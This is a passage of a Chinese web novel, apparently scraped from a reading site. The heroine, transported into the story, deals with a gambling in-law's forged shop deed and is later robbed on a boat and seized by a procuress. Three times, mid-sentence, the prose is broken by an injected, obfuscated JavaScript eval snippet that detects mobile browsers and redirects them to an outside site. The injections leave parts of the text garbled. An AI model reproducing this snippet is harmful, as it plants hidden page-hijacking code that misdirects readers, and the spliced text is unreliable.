多橘小心答道：“沈家叔叔看起来为人持重，也很懂礼数；沈家婶子看起来胃口不错，刚才席间吃了好些东西，是个不拘小节的爽快娘子。”她说完，似是有些心虚，便不再说下去。 “怎么不说下去了？”程雪衣拿起瓷盘里的柑橘，认真剥着。 多橘伸手接住了橘皮，“姐儿和他们相处的日子自是比我久，为何还要为难奴婢啊？” 程雪衣将橘瓣放入口中，咀嚼两下，眉心拧起，忙吐了出来。 “真酸啊，吃不得，吃不得了。”程雪衣掏出帕子擦擦唇边，又接着说道：“你眼见未必是真，那沈家叔婶不是善茬，想必你也察觉出他们二人自从进了府，眼睛便不老实起来。” 多橘将橘皮扔进痰盂里，细细回想：费女萝虽说能吃，可边吃还边往怀里塞；沈君昌看着体面儒雅，却在席间掉了两次筷子。 “你个鬼丫头，揣着明白装糊涂。”程雪衣指尖轻点收回。 多橘嗫喏半晌，“他们二人都是姐儿的婆家人，奴家自是不好搬弄口舌的。” “哈哈哈……”程雪衣捏着帕子，“哪儿来的婆家人，他们此行是要和我们程家解除婚约的，可惜爹娘不在，让他们扑了空，得不到赏懊恼罢了。” 多橘吃惊问道：“姐儿之前不是铁了心非沈家郎君不嫁吗？那沈家小郎君又怎好负了姐儿？” “你都说是之前，我非沈偕不嫁，又不是现在非他不嫁。你岂能不知女儿家的心意是一时一个变化的，况且沈家遭了变故，已经不比从前，沈偕是死是活也尚不可知，秦娘子不想耽搁我的终身大事，便托了他们夫妇二人上门退婚。” 多橘听了这些话，消化了好一会儿，才抬眼问道：“那姐儿此次回，便不再回去了吧？” 程雪衣点头，“那是自然。” 谁会放着锦衣玉食的好日子不过，去吃粗茶淡饭。 “可那秦娘子却不曾亏待于我，如今她们娘仨落难，我得为她们想个好出路，不能让别人欺负了去。” 她招手让多橘贴身侧耳，压低声音说了会儿，多橘立刻意会，掩好房门便朝侧院去了。 — 午后日头毒辣，廊下的鹦鹉噤了声，丫鬟婆子们在值班房喝茶吃着瓜子喋喋不休。侧院檐廊下，刘管家在躺椅上午睡，呼噜声一波接着一波。 多橘轻手轻脚靠近，走到他身侧时，朝那招风耳里轻轻吹口了气。 刘管家睡意正酣，梦中只觉得有只小虫跑进了自己耳朵，便抬起大手重重地朝耳朵打下去，这一打不要紧，竟彻底从梦中惊醒，险些跌到地上。 “您没事儿吧？刘管家。”多橘止住笑意，做样要伸手去扶。 刘管家彻底清醒过来，重新坐稳，握紧手中的蒲扇，镇定摇了摇。 “你这丫头走路没声音，要吓死老汉哪？” 多橘打眼瞧着不远处，收回视线，吓唬道：“姐儿让你好好多留意沈家叔婶，你却犯懒睡觉，小心我这就回了姐儿。” 刘管家坐直身子，用蒲扇轻轻敲打多橘，“你个顽丫头，只知道向程姐儿告状，却不知体恤我老汉。” 他手中的蒲扇又要朝对面挥去，多橘闪躲避开。 多橘揉揉头，噘嘴道：“我哪敢真和姐儿告状啊，就是逗逗您嘛。” “戏弄我老汉有意思是吧？快说，你来作甚？”刘管家捏捋胡子，无奈道。 只听不远处有脚步声响，几个婆子丫鬟端着铜盆往角门去了。 多橘正色道：“姐儿有事情吩咐。您呀，先去账房支三十两银子交予沈家叔叔，若是他想出府转转，便吩咐轿夫同去，他若是拒绝小厮贴身跟着，就让他们在暗处盯着，然后回来禀报。” 刘管家不敢怠慢，立刻起身，即刻去账房取了三十两银子交予沈君昌。 一开始，沈君昌婉言谢绝，说是不好平白享用。可后来听刘管家说是答谢报酬，他便放心收下了。这刘管家前脚刚走，那沈君昌后脚便揣好银子悄悄地从后院小门出府。 半个时辰后，一个小厮快步来到西院，说是有事禀报小姐。 多橘摆手让他靠前说话，小厮擦擦额头上的汗，说道：“沈家老爷去了西南大街，此刻留在罗记赌坊了。” 多橘让小斯稍候片刻，回屋禀了程雪衣，后又出门对小厮说：“你先回去，提起精神好生盯着，等沈家叔叔什么时候输得连衣裳都不剩了，再速回报信。” 小厮唱了喏，拱手走开了。 — 日薄西山，余晖浸染大地。 费女萝与程府里的丫鬟婆子聊了半晌，此刻口干舌燥，抿了口茶，便朝程雪衣所在的西院去了。 走到半路时，她见石缸里游着几只肥鲤鱼，一时手痒，欲伸手要抓。费女萝撸起袖子，挥舞着大手将鱼儿引到一处，没等下手，便被不知从哪里来的小厮撞个趔趄，差点一头栽进水缸里。 费女萝惊魂未定，等反应过来，揪起小厮的衣领骂道：“瞎了你的狗眼，竟敢撞老娘，也不仔细瞧瞧我是谁？” 小厮被费女萝钳制得动弹不得，血液上涌，脖子青筋暴起，脸憋得通红，开口说道：“小的……有眼不识泰山，切勿……和小人一般见识。” 费女萝见他伏低做小的样子，心中的怒气消了不少，又怕引人围观，便松了手。 “咳……咳……”小厮揉揉脖子，作揖告谢，说罢转身要走。 “慢着， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083530|179467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你往何处去？” “小的有事回禀，还请行个方便。” 费女萝瞧着西处的院子，了然道：“我拦你作甚，你自忙你的去便是。” 小厮躬身，疾步去了。 待绕过庭院一处假山，小厮径直来到雨花阁，按规矩报了门房，后由值守奴婢引着去见程雪衣。 小厮在外侯了会，多橘叫他进去回话。 只见屋内装饰的古朴雅致，一排博古架横在西侧，上面陈列琳琅满目的古玩、瓷器，各处角落摆放兰草点缀，正中央摆着一张方桌，盛放精致点心。程雪衣坐在矮几上，正专注地向窗外望去。 “姐儿，小厮来回话了。” 程雪衣回过神来，侧过身抬眼，“怎么，那沈君昌撑不住啦？” 小厮躬身答道：“回小姐，沈家叔叔赌红了眼，将手头的铺子抵给了东街王掌柜。” 她轻笑道：“还真如书中所写，沈君昌输光了沈家最后一点薄产。” 杂货铺既失，秦莫如母子三人便彻底没了指望，难保不会出现家破人亡的下场。程雪衣唤多橘到身侧，吩咐道，“你去账房多支些银子，带上刘管家去罗记赌坊将人带回来，铺子也要从王掌柜手上赎回来，知道吗？” 多橘福了福身，叫上刘管家，又带了几个得力魁梧的家奴，朝赌坊去了。 — 天刚擦黑，费女萝寻不到沈君昌便着了慌，问丫鬟婆子，皆摇头装作不知。 她先是寻到程雪衣住处，没见到人，便随丫鬟指引去了饭厅。 廊下，几个小丫鬟端着食盘进进出出，屏声敛气。 厅上，程雪衣正坐着，若有所思，眉眼低垂。 费女萝“哎呦”一声，亮了嗓子叫嚷：“程姐儿，你午后可见过你叔叔？” 程雪衣摆手让丫鬟们退下去，招呼费女萝坐下。 “您还没用晚饭吧，一并吃些？” 费女萝摆手推却，语气带了几分急：“那个冤家准又没做好事，许久未归，怕不是出了事，我这心里像揣了个兔子似的，程姐儿，你可千万要帮婶婶啊。” 她急切地拉起程雪衣的手，又放缓语气：“我们初来乍到，人生地不熟的，万一他有个什么闪失，叫我可怎么过活啊。” 程雪衣眼底掠过一丝嫌恶，收回手，用帕子擦了擦指尖，挑眉道：“沈家叔叔的事情我自然不会坐视不理，只是，他这次的赌注有些大，怕是将杂货铺子赔进去也是不够添的。” 费女萝身子怔住，手中的帕子轻飘飘地落在地上，静默了好一会。过了不久，发出呜呜声。 “这个杀千刀的，平时……小打小闹也就算了，怎的这次输了个这么大的，完蛋了，彻底……完蛋了。” 说话间，一阵疾风将门“砰”地关上，烛光摇曳，拉长了女人懊丧的身影。 程雪衣起身站定，眼睫翻动，“若是那间杂货铺够抵，那沈家叔叔就当是散尽家产买个教训，若是不够抵得话，只能与那另一方赌家对簿公堂了。” 费女萝闻言，立刻止住哭声，上前拉扯程雪衣的衣袖，哀求道：“万不能闹到公堂上去啊！” 饶是程雪衣用力收回衣袖，也没能如愿，于是无奈点头：“好说，好说。” 5. 第 5 章 亥时将至，树稍倒映在窗，轻轻扫过少女的侧脸。 程雪衣洗面拆髻，换了身素色寝衣，上床歇下。多橘手脚利落地放下纱帐，将燃着的香球挂在床边系好。 “那沈家婶子还在饭厅里坐着呢？”程雪衣揉揉太阳穴，将头发拢在一侧，拉上被子。 “是，姐儿，估计她现在也没力气再闹了。” 方才，费女萝在饭厅打滚撒泼，说是沈君昌要是有个三长两短，她便也不活了。眼下沈君昌脱不了身，程雪衣也被费女萝绊住去路。程雪衣拗她不过，坐在一边吃饭，看她各种表演。 程雪衣原是让刘管家几人去罗记赌坊赎人，可王掌柜发现杂货铺子的契约有假，便说什么也不肯放人，将人关进柴房，说是明儿一早报官。 被费女萝这样一闹，程雪衣没了胃口，未吃多少，席间便开始头皮发紧，太阳穴突突直跳。 “等天亮了，你便随我去找王掌柜，盼他看在爹爹的面子，息事宁人。” 多橘点头，“是，姐儿快好生休息吧。”她将纱帐放下，将烛火熄灭几盏，轻手轻脚地走了。 半夜，程雪衣翻来覆去睡不着，觉得胸口发闷，便掀帘下床，走到窗前，将支棍向外送了送，窗户大敞，丝丝凉风卷着花香袭来。 她就坐在软榻上，头发随意搭在胸前，一弯远山眉微微蹙起，眸中黯淡，任凭冷风拂面，专注地看着树梢上挂着得那轮明月。 程雪衣来到这个陌生的世界已有月余，从开始的不知所措，到现在前路渺茫，她不知道下一步路该如何走，没有人为她指明。 她曾多次祈祷，那本该伴随穿越者的系统君能从天而降，提示三言两语，可夜晚的空气中只有一片死寂。唯一在她脑海里残存的记忆，便是“沈偕回朝”的片段。 风慢慢地从窗户灌进来，裹着程雪衣的脚，凉意钻进脚心，她打了个寒噤，朝床边走去歇下了。 — 次日卯时，程雪衣洗漱完毕用过早饭，便携刘管家和多橘去了东街王掌柜处。 刘管家吩咐小厮套好马，多橘扶程雪衣上了马车，还未坐定，便听见费女萝的声音从帘外传来。 “程姐儿，我也一并去。” 多橘掀了帘子，软声说着：“沈家婶子，您快回吧，放心在家等着，我和姐儿去接沈家叔叔回来。” 没等费女萝接话，小厮扬起马鞭，一溜烟跑没影了。 街上行人渐多，嘈杂声音越过车窗飘进程雪衣的耳朵里。她掀开帘子，望着铺子行人，不远处，王记米行的布幌子飘荡在空中，几个描金大字额外惹眼。王掌柜在门外清点货底，小厮搬着米袋子进进出出。 “姐儿，前面就是王记米行了。” 刘管家朝车内说了句，里面立刻传来声音：“刘管家，把马车停在僻静地方，我步行过去。” 刘管家唱了喏，勒紧缰绳，调转马头，将马车驶进了一条小巷里。 待马车停稳后，刘管家放下踏脚，多橘掀帘下车，回身小心扶着程雪衣。 “您在这里少歇片刻，让多橘陪我去吧。” 多橘为程雪衣整理裙摆，跟在一旁精心服侍。 刘管家拱手说道，“老奴就在此处，姐儿若有事遣多橘来唤我便可。” 程雪衣侧身颔首，朝着米行铺子去了。 还没走到近处，便听见怒骂声，“小心着点，看着门槛，若是米掉了一粒，我便扣你们的工钱。”王掌柜捧着茶盏，呷了口，用手抹去嘴边的水痕，沾湿胡须。 “王掌柜近来可好？” 他眯着眼定睛看了看，将手中的茶盏交给身边的小厮，拍手上前道：“这是哪阵好风，竟将我的大侄女吹来了。” 程雪衣弯弯唇，点头道，“王掌柜贵人事忙，怕是忙糊涂了不是？” 男人脚步一顿，嘴角笑意收起，眼纹撑开，撇嘴道：“我王某再糊涂，却也不至于老眼昏花，不识程家小娘子。不知今日到访有何贵干哪？” 程雪衣不语，示意多橘将一锦匣递给王掌柜。 王掌柜见程雪衣以锦匣见礼，便以猜出七八分来意。他佯装不知，开口道：“你这是合意？” 程雪衣见他拿乔，慢说道：“王掌柜昨日去过赌坊，还赢了不少彩头吧？” “那又如何？” “王掌柜看上的铺子万不能交付与你，还请高抬贵手，饶他是个外乡人，不懂赌场规矩，昏了脑冲撞了掌柜的，我替他向您赔个不是。” “他是你什么人？你竟为他上门说情？” “程家的一个远房亲戚罢了，还请王掌柜莫要将事闹大，于谁都无益。” 王掌柜眼中闪过一丝狡黠，冷笑道：“难怪昨天竟那般托大，原来是有程家做靠山，还真是大水冲了龙王庙。” 程雪衣不愿多与其饶舌，便直言道：“这是那人欠您的银两，都在锦匣内，万望王掌柜将人早早放了归家。” 那王掌柜见程雪衣有些急色，便想拿捏。 “你可知那铺子的契约是张伪契，我若是收下，将此时闹到官府，你那远房亲戚定然少不了一顿板子。” 程雪衣听闻，心下一沉，继续问道：“王掌柜既不放人，也不打算收下锦盒，可是另有打算？” “程小娘子冰雪聪明，快人快语。本来嘛，去赌坊就是图个乐呵，若是伤了邻里感情那就不好了。”他接着说，“人我留着也无用，他自是程家亲戚，也不好留下给我当伙计；还有这银子你也可以拿回去，我王家虽不比程家富贵，但也不缺这几两碎银子。” 王掌柜瞧着程雪衣的眼色，开始进入主题：“我听说近期程大官人有条商船要去润州，我手里有些粮食和茶叶，想拜托一并装了船运走。不知程娘子可否做得了令尊的主，应承下来。” 程雪衣思忖片刻：若是不应，他抓住把柄闹到官府，于程家脸上无光；若是擅作主张应下，怕是会给程家惹来麻烦。 她转身示意多橘，将此事说与刘管家。 不多时，多橘快步走来，朝程雪衣耳边嘀咕些什么，程雪衣底气十足地说道： “王掌柜若是有这个算计，我替家父应下也无妨。只不过，话说在前头，此去润州，若是王掌柜装了不该装的被官府查抄了去， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083531|179467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抑或遇了强盗被他们夺了货物去，可都与我程家无干。” 王掌柜细想，哪里会有如此巧事，遇上劫匪，便点头应道，“只要程小娘子做得了主，许我搭乘程家的商船便可。” 两人商谈妥帖，程雪衣便让几个小厮儿去赌坊领回沈君昌。 — 程家府门外，费女萝抻长脖子看着远处，见刘管家一行人前来，迅速迎了上去，没等马车停稳，便急切朝帘内问道：“程姐儿，那杀千刀的在何处？” 马车径直向前跑去，在府门口停下，费女萝跟在后头吃了一嘴巴灰。 多橘搀扶程雪衣下了马车，朝府内去了。 正堂内，几个丫鬟端来热茶和洗手盆。程雪衣净手漱口，朝痰盂里吐了几口，然后接过多橘手上的帕子擦擦嘴角。 待她坐定，费女萝又上前询问沈君昌下落。 多橘将费女萝拉到一边，低声说道：“您且放心，人一会就到。” 费女萝轻拍胸脯，舒了口气，坐下等候。 不多时，刘管家步履匆匆进了正堂，后面还跟着个一瘸一拐的男人。 男人披头散发，灰头土脸，上衣扣子被扯掉几颗，衣裳脏污不堪。他右手紧紧攥着裤子，用力拖着左脚向前走。 “天杀的，你怎的成了这个模样？” 费女萝一眼认出沈君昌，忙上前搀扶。沈君昌双唇紧闭，恐羞于见人，将脸别过去。 正堂上，程雪衣遣走婆子丫鬟，只留多橘、沈君昌夫妇叙话。 “沈家叔叔，您可真是送了程家好大的一份礼啊。” 沈君昌尚未落座，屁股便从椅子上弹起来，他拱手道：“尽是我不是，连累程娘子为我奔走解围。” 昨日沈君昌领了刘管家给的三十两银子，本想着翻盘，便一头扎进赌坊，谁曾想竟又栽了个大跟头。 “……” 程雪衣端着身子，吃了几口茶，过了半晌方开口道：“你是使了何种手段，得到沈家杂货铺子的契约？” 沈君昌身子一怔，抬眼看着程雪衣神色严肃，便一五一十地道出，“那铺子本是家母留给兄长的，可兄长溘然长逝，嫂嫂一个女人家如何懂得经营店铺，我便和嫂嫂商议让我掌管经营，每月给她分利。” “……” “可说了好几次，嫂嫂死活不同意，无奈之下我只好伪造了一纸契约，以备不时之需。” 程雪衣拍桌而起，“你可真是打得一手好算盘啊，纵使你千算万算，却没算到王掌柜是个精明的，一眼便瞧出你拿着的是张伪契，若不是你贪财忘义，何故我程家被人握着把柄，任人拿捏！” 沈君昌索性闭了嘴，面色苍白，身子倾斜，摇摇晃晃。 “你们来柳州本就是为了解除婚约，现下，虽我爹娘不在府上，可家中族老仍在，你与他们商议也是一样的。待明日请了长辈，留下退婚书，便不做多留了。”程雪衣怒气道。 话毕，程雪衣狠狠瞪了一眼沈君昌，头也不回地走了。 当是时，沈君昌消瘦的身体也如秋日落叶，在空中打了个转，轻飘飘地落了地。 6. 第 6 章 沈君昌将养了大半月，身体伤势好转不少。治病期间，程府不知找了多少名医为其诊脉配药，皆说沈君昌的左脚恐留下残疾，日后多半会成个跛子。 连日来，府里的丫鬟婆子在侧院进进出出，吃食不断，皆是为照料沈君昌而来；费女萝更是亲自为他熬药擦身，早已没了平日里的聒噪性情，憔悴不少，此刻，正服侍沈君昌服药。 只见一个利手利脚的丫鬟进来禀报，不等丫鬟退下，门外程雪衣带着多橘进了房门。 一股浓重的中药味扑鼻而来，程雪衣用帕子捂住口鼻，命多橘将窗门敞开些。费女萝见她进来，刚要起身，因近日劳累有些头晕险些扑跪在地，她将鬓角发丝别到耳后，擦擦鼻子，慢悠悠起身，平静道：“程姐儿来了，快坐。” 程雪衣见着榻上躺着的沈君昌，双眼失神，面色发黄，嘴唇干瘪起皮，侧过身点头告坐。 丫鬟收拾好汤药碗，敛衽退下。多橘在门外垂手侍立，等候吩咐。 “沈家叔叔，病得怎这样厉害，似是不大见好啊？”程雪衣玩弄着手上的帕子，眼睛扫过费女萝。 费女萝垂眸低哑道，“姐儿给请来这么些个大夫，都说……这左脚，恐怕是要残废了。” 榻上的沈君昌听得这话，“嘶”了声，咬紧嘴唇，一手暗暗攥紧床褥，将头转向窗外。 “这些大夫都是柳州城内的名医，如他们这般说，那您心中早做打算才好。”程雪衣又道，“本是行事不端，落得如此下场，惹出的荒唐事总要自家担待，再牵累旁人，可就不妥了。” 费女萝见程雪衣似有撵他们出府的意思，一时不知如何应答，话到嘴边又噎了回去。 沈君昌猛地掀去被子，踉跄起身，却因脚上有伤险些栽倒。他垂首惶恐，声音发颤道：“我自知给程家惹来不少麻烦，劳烦费心了，可现下我这身体……实在有诸多不便，万望姑娘念在往日情分上，多容留我二人两日，待能下床走动，沈某便自行离去。” “……” 二人见程雪衣不语，只低头把玩着指尖的茶盏。杯盖之间发出粗粝的摩擦声，听得人直发毛。二人屏声静气，面面相觑。 程雪衣眉宇间透出几分不耐，轻启朱唇：“往日的情分纵使尚在，也是看在沈君卓府上，与你二人又有何干呢，况且前日退婚文书已立，便不好再牵扯了。” 说罢，她猛地将茶盏中的水泼在地上，水花四溅，溅在费女萝的裙角。 费女萝愣了一会，低声下气道，“程姐儿大人有大量，再容我们几天，等这伤养得差不多了，我们即刻返乡。” 程雪衣挺身而立，不待二人继续分说，推门去了。 — 沈君昌二人又叨扰数日，待能下床走动后，刘管家便催促他们及早动身。 程雪衣亦写了封家书，托小厮递与程颖松，将当日与王掌柜商议之事细细写明，现已收到回信，信中大意是：小女只要愿归家便好，其余不必多言；只盼颙哥儿在数日后的殿试中金榜题名，阖家早日团聚。 廊下的山茶开得越发红艳，程雪衣走到廊下的长凳上坐下，望着山茶出神。 多橘将蜜饯递了过去，“姐儿，尝尝？” 程雪衣回过神来，“不了”，她摆手推却。 “那沈家叔婶眼看着快走了，等他们走了，府中就又清净了，姐儿的烦恼自然也没有了。小郎君若是中了状元，咱们或许还能去东京府逛逛呢，我听说那里可热闹了。”多橘越说越起劲，在程雪衣的面前走来走去，手上还捏着蜜饯。 “你个馋丫头，就那么想去啊？” “是啊，听说那里到处都是珍馐美味，遍地都是青年才俊。” “成，等赶明儿我就带你去那富贵迷人眼的东京府瞧瞧，不过，现下我心有一事，怕是不办不成。” 多橘将蜜饯放进嘴里，吮了吮手指上的糖汁，疑惑道：“姐儿有事只管交代我便是。” 程雪衣说道，“还真需要你同我办件事，和我去趟真州，我需将那铺子的契约亲手交给秦娘子，才能放心。” 多橘笑着回道，“去真州也好，能出去玩儿就好。” 程雪衣刮了刮她的鼻尖，兀自回了房间，回身便收拾行装，准备明日同沈君昌夫妇一道回新阳县。 翌日清晨，程雪衣从家中备了些金银细软，多橘备好路上吃的干粮，便和沈君昌夫妇一同搭上北上的航船。 航船在江面上航行，一路摇摇晃晃。多橘上船没多久便开始晕船，现下正扶着栏杆呕吐。 程雪衣为她端了碗茶水，见多橘一饮而下，又顺着她的背脊轻轻拍了拍。 “好多了，姐儿。”多橘用衣袖擦擦嘴角，身子随着船只左右摇晃。 “这里风大，快回船舱歇着吧。” 见她稍缓，二人倚着栏杆吹了会风，才回了舱里。 这条商船主要以运粮食货物为主，所以搭乘的客人并不多，船上的人都是出苦力的大汉，还有一些穿着低调的商户。 程雪衣绕过几个大木箱，进了左侧的小舱，搀扶多橘在舱内小凳上坐下，又从包袱里掏出个油纸袋，从里面拿出几颗晾晒好的酸梅递过去。 多橘伸手放进嘴里，眉头蹙起，渐渐舒展，“好多了，姐儿。”她笑道。 “姐儿？”多橘见程雪衣视线瞥向一边，抬起手晃了晃。 程雪衣恍惚间回了神，应了一声。 “既然已和沈家解了婚约，那沈家叔婶是冷是热、是饥是饱就和咱们半分关系都没有了。” 多橘瞧着舱外，见沈君昌和费女萝挤在角落里坐着，神色落寞，轻哼一声，抬手将舱窗合上。 “我知道呀，等咱们把铺子的契约交到秦娘子手上，立刻就去东京府，好圆了你的念想。” 程雪衣揉着多橘圆乎乎的脸蛋，微微笑道。 多橘噘着嘴，连连点头。 — 天色渐暗，商船在栅口停靠接受检查后，接着向北驶去。 落日余晖散尽后，海面升起一弯冷月。 沈君昌和费女萝以一张旧棉毯御寒，二人紧紧靠在一起，沈君昌将费女萝的手放在嘴边呵了呵。 “都怪我无用，苦了娘子和我在此遭罪。” 沈君昌手上动作停住，鼻尖抽动，眼圈红了些。 “你还有脸说，若不是你执迷不悟，不把家底输光不罢休，我又何必在此和你一起吹冷风，连个馒头都吃不上。”费女萝小声抱怨，肚子咕噜噜响。 说话间，沈君昌的肚子也叫唤起来，二人瞅着彼此，忍不住相视一笑。 “等回了新阳县，我就去给你打一网鱼，蒸鱼、炖鱼、熬鱼汤，你想吃啥就做啥。” 沈君昌望着月亮，眼中闪过一丝美好。 费女萝瞧他眼角漾出的笑意，不免哀叹道，“今后，怕是不能再去河边撒网捕鱼了。” 风呼呼地吹，不多时，沈君昌的嘴唇冻得有些发紫，身子簌簌发抖。费女萝将自己的毯子挪了过去，裹得更加严实了。 二人听着簌簌的风声，眼皮沉重，不知不觉打了个盹。等到再睁开眼睛时，费女萝发现手边多了一个油纸袋，打开一看，竟然是两个馒头。 费女萝眼睛盯着那雪白的馒头，吞了口唾沫，用手肘推推一旁的沈君昌。 “醒醒，醒醒。” 沈君昌正在梦中喝着佳酿，吃着鸡腿，哪里肯睁眼醒来，哼唧了声，没了动静。 费女萝见沈君昌睡得熟，便自顾自地吃起来，等着快要吃完一个馒头时，沈君昌突然起身坐起来，大喊道，“好汉饶命！好汉饶命！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083532|179467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你梦魇了？” 费女萝摇摇沈君昌，拿起手在他眼前晃了晃。 缓了一阵，沈君昌才清醒过来，擦擦额头上的冷汗，问道：“这是哪来的？” 费女萝将袋子塞到沈君昌怀里，“还剩一个给你留着。”费女萝瞧着舱房里的光亮，眼睛蕴着一团火，“多半是程家娘子送过来的。这算什么？先冷待一番，再施些小恩小惠。我们好歹算是长辈，她竟这样狠心，也不肯周济我们一下。” “没了那张婚约，我们还算什么长辈，我看你就不要再发白日梦了。” 费女萝从油纸袋里掏出馒头，塞进沈君昌的嘴里，“吃你的吧。” 只听身后传来一阵“哒哒”的脚步声，在木板上发出闷响。 一个穿着黑袍的魁梧大汉，面朝沈君昌走近。 “哟，还真是你。”那大汉快步走上前，一脚踢开旁边的箱子，一把拎起沈君昌的衣领。沈君昌还未来得及反应，嘴上的馒头滚落在地，眼睛瞪得老大。 费女萝僵在原地，不知如何是好，双手合十拜托道：“好汉许是认错人了，我们怎么会是好汉要找的人呢？” “你就是与他一起戏耍的婆娘？”大汉乜斜道。 待月光照得更亮些时，沈君昌方看见他脸上的那道长疤，顿时萎了。 “好汉，好汉放我二人一条生路吧！”沈君昌被那只大手箍着，有些喘不上气，使劲儿拍打男人的手背。 “那日我在巷口足足等了你两个时辰，你竟敢爽约！若不是今日碰巧在这儿遇见你，我周义就真成了冤大头了。”他加重了手上的力道，接着说“想想断你哪根手指！” 费女萝吓得没站稳，跌坐在地，小声抽搭，脸色煞白。 “好汉，我还钱，一定还！您就放了在下吧。” “我看你现在活得连条狗都不如，你拿什么还？” 男人朝他脖颈边吹了口热气，眼睛扫过地上呆愣的费女萝。 “我是没有，可程娘子有，她现在就在这条船上。”沈君昌额头渗出密密麻麻的汗，嗓子发干，硬是从喉咙中挤出这几个字。 男人抬头看着船舱，窗上映出两张人脸，他松了些力道，将沈君昌从手中放开，沈君昌脚下发虚，半跪在地。 男人又说，“你和她有甚关系，她竟肯借你钱？” 沈君昌咬着下唇，畏畏缩缩道：“我和，不，我们和程小娘子曾有些交情在，如若我去求她，她定会帮忙的。” 男人上过一次当之后，便不再轻易相信沈君昌的话。他盯着费女萝，嗤笑道：“这是你婆娘吧？” 沈君昌忙上前拽紧他的裤脚，连声哀求道，“此事与我夫人无干，万望好汉放过她。”说着，一把将费女萝搂进怀里。那费女萝一句话都说不出来，浑身发抖。 “离船明天一早靠岸，还剩三个多时辰。要么你凑齐钱交还于我，要么我就连你和这妇人一起，丢进江里喂鱼！” 沈君昌夫妇二人抱作一团，连连点头道，“都听好汉的，勿伤我二人性命便可。” 男人转身朝楼下甲板走去，沈君昌见那人走远的背影，彻底跌坐在地。 “你个杀千刀的，竟惹下这么大祸事！若是你筹不到钱，就一起……一起等死吧！”费女萝又气又怕，话都说不周全。 “真是冤家路窄，怎就在此遇见这么个杀神？”沈君昌叹气道。 “若是好好和程姐儿说，想必她会帮忙的。” “你个蠢货，咱们没了那层关系，她凭什么帮我们？” “那你打算如何？” “莫不如，一不做二不休，将她值钱的东西都拿来，再找个牙婆子将她们卖了，又能赚上一笔钱。” 费女萝听着此话，不由心头一紧，过了片刻，方才点了点头。 7. 第 7 章 晨雾笼罩江面，东方天际初露鱼肚白。 船舱的舱房里，弥漫着一股甜腻的异香。窗户缝上的纸张被戳破了个洞，阳光穿隙而入，光线扫过程雪衣恬静的脸庞。 “快靠岸啦，客官们准备下船！”船夫摇着橹，将船缓缓泊向岸边。 舱板上传来咚咚的脚步声，人们纷纷朝向船舷方向涌去。 “嗯——”程雪衣咂咂嘴，伸了个懒腰。 舱外人群挤作一团，准备下船，叽叽咋咋的说话声透过窗缝传来。 “多橘，醒醒，该打点行囊准备下船啦。”程雪衣拍了拍多橘的肩，目光扫过舱内，感觉大事不好，重新揉了揉眼睛，顿时高声叫道：“别睡了！快起来！咱们的行囊不见了！” 多橘“噌”得一下从矮榻上跳起来，擦了擦嘴角的涎水，跟着四处翻找。 “姐儿，昨晚歇息的时候，我明明把包袱都搁在枕边了啊。” 多橘蹲下身查看桌下，又翻遍了舱角四处，哪里还能见着行囊的影子。 程雪衣在窗纸破洞下拾起一戳未燃烬的香灰，用指尖捻起些许，凑到鼻尖闻了闻，恍然道：“是迷香。” “姐儿，这是有人要暗害我们！” 多橘吓得抱紧了自己，连忙贴在程雪衣身边。 “未必是要害性命，看这情形，多半是冲钱财来的。”程雪衣沉声道：“船还未靠岸，盗贼定然还在船上，不如我们去和船夫说，让他晚些泊船靠岸。” “怕是来不及了。”程雪衣望向窗外，见船夫已将踏板搭上岸边，人们正一窝蜂地往岸上涌。 “那我们可怎么办呀，姐儿？”多橘没了主意，垂头丧气地跺了跺脚。 “还好，此处已是真州地界，离新阳县已经不远了。咱们先上岸，再做打算。”程雪衣摸摸胸口，还好那张杂货铺子的契书贴身藏着，未曾丢失。 二人赶在船夫收跳板前匆匆登岸。没走几步，便见一个妇人迎上来。 她穿着直领对襟褙子，下身系着麻色长裙，头上裹着青头巾，正是当地有名的牙婆。 牙婆挥着绢帕，笑道，“想必是程家娘子吧？生得这般标致。”说话间，她上唇的黑痣随着嘴角一动一动。 程雪衣顿住脚步，疑惑道，“不知您是哪位？” 牙婆用帕子掩着嘴轻笑，“想必姑娘也是个苦命人，罢了，往后到了行院，还愁没个爷们心疼你。呦呵！这位小娘子粉妆玉琢的，也甚是惹人疼呢。” 多橘见她帕子挥过来，一股浓重的香粉味直冲鼻腔，忙捂鼻子道：“你怎的这般无理，还不快离远点。” 牙婆脸色一冷，“卖身契都签给老娘了，还想抵赖不成？”说着打了个手势，身后霎时蹿出几个彪形大汉，拦在了程雪衣二人面前。 程雪衣见几人不怀好意，拔腿要走，可没走两步，身后大汉一记闷棍打来，顿时眼前一黑。 